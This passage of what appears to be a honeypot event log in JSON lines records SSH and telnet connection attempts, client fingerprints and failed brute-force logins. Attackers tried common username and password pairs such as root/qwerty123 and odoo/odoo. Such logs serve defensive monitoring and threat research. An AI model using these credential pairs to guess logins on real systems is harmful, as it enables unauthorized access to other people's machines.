ert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:08.310963Z","src_ip":"193.151.144.93","session":"cfef53408fca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:08.803327Z","src_ip":"193.151.144.93","session":"cfef53408fca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":49558,"dst_ip":"159.203.135.109","dst_port":22,"session":"27b0d30fafb8","protocol":"ssh","message":"New connection: 147.45.211.215:49558 (159.203.135.109:22) [session: 27b0d30fafb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:09.127675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:09.133427Z","src_ip":"147.45.211.215","session":"27b0d30fafb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:09.398711Z","src_ip":"147.45.211.215","session":"27b0d30fafb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vika1998","message":"login attempt [root/vika1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:09.961620Z","src_ip":"147.45.211.215","session":"27b0d30fafb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:09.966763Z","src_ip":"193.151.144.93","session":"cfef53408fca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:11.141211Z","src_ip":"147.45.211.215","session":"27b0d30fafb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":32874,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0d515054ee3","protocol":"telnet","message":"New connection: 69.4.83.194:32874 (159.203.135.109:23) [session: a0d515054ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:11.727169Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54114,"dst_ip":"10.17.0.5","dst_port":22,"session":"dac1e88bad94","protocol":"ssh","message":"New connection: 193.151.144.93:54114 (10.17.0.5:22) [session: dac1e88bad94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:13.527845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:13.537913Z","src_ip":"193.151.144.93","session":"dac1e88bad94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:13.727623Z","src_ip":"193.151.144.93","session":"dac1e88bad94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:14.227235Z","src_ip":"193.151.144.93","session":"dac1e88bad94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:17.081637Z","src_ip":"193.151.144.93","session":"dac1e88bad94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54120,"dst_ip":"10.17.0.5","dst_port":22,"session":"08faf6a9e2ef","protocol":"ssh","message":"New connection: 193.151.144.93:54120 (10.17.0.5:22) [session: 08faf6a9e2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:18.942910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:18.948602Z","src_ip":"193.151.144.93","session":"08faf6a9e2ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:19.116596Z","src_ip":"193.151.144.93","session":"08faf6a9e2ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:19.621953Z","src_ip":"193.151.144.93","session":"08faf6a9e2ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:20.793963Z","src_ip":"193.151.144.93","session":"08faf6a9e2ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55896,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd50e9f26775","protocol":"ssh","message":"New connection: 193.151.144.93:55896 (10.17.0.5:22) [session: bd50e9f26775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:24.363301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:24.372421Z","src_ip":"193.151.144.93","session":"bd50e9f26775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:24.545736Z","src_ip":"193.151.144.93","session":"bd50e9f26775","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:25.064395Z","src_ip":"193.151.144.93","session":"bd50e9f26775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:27.999717Z","src_ip":"193.151.144.93","session":"bd50e9f26775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55912,"dst_ip":"10.17.0.5","dst_port":22,"session":"caf94f1476b2","protocol":"ssh","message":"New connection: 193.151.144.93:55912 (10.17.0.5:22) [session: caf94f1476b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:29.809020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:29.815148Z","src_ip":"193.151.144.93","session":"caf94f1476b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:29.987325Z","src_ip":"193.151.144.93","session":"caf94f1476b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:30.504459Z","src_ip":"193.151.144.93","session":"caf94f1476b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:32.094192Z","src_ip":"193.151.144.93","session":"caf94f1476b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":50792,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ee835ee380","protocol":"ssh","message":"New connection: 193.151.144.93:50792 (10.17.0.5:22) [session: 72ee835ee380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:35.449100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:35.453605Z","src_ip":"193.151.144.93","session":"72ee835ee380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:35.625805Z","src_ip":"193.151.144.93","session":"72ee835ee380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:36.123979Z","src_ip":"193.151.144.93","session":"72ee835ee380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:37.292130Z","src_ip":"193.151.144.93","session":"72ee835ee380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":53104,"dst_ip":"159.203.135.109","dst_port":22,"session":"08ab4976fe85","protocol":"ssh","message":"New connection: 20.6.35.235:53104 (159.203.135.109:22) [session: 08ab4976fe85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:37.460951Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":35252,"dst_ip":"159.203.135.109","dst_port":22,"session":"36e2d918e348","protocol":"ssh","message":"New connection: 43.242.203.160:35252 (159.203.135.109:22) [session: 36e2d918e348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:41.057470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:41.062913Z","src_ip":"43.242.203.160","session":"36e2d918e348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52814,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad343c2f712a","protocol":"ssh","message":"New connection: 193.151.144.93:52814 (10.17.0.5:22) [session: ad343c2f712a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:41.207205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:41.213758Z","src_ip":"193.151.144.93","session":"ad343c2f712a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:41.296314Z","src_ip":"43.242.203.160","session":"36e2d918e348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:41.380562Z","src_ip":"193.151.144.93","session":"ad343c2f712a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:41.878615Z","src_ip":"193.151.144.93","session":"ad343c2f712a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer@12345","message":"login attempt [root/Qwer@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:42.322363Z","src_ip":"43.242.203.160","session":"36e2d918e348","protocol":"ssh"}
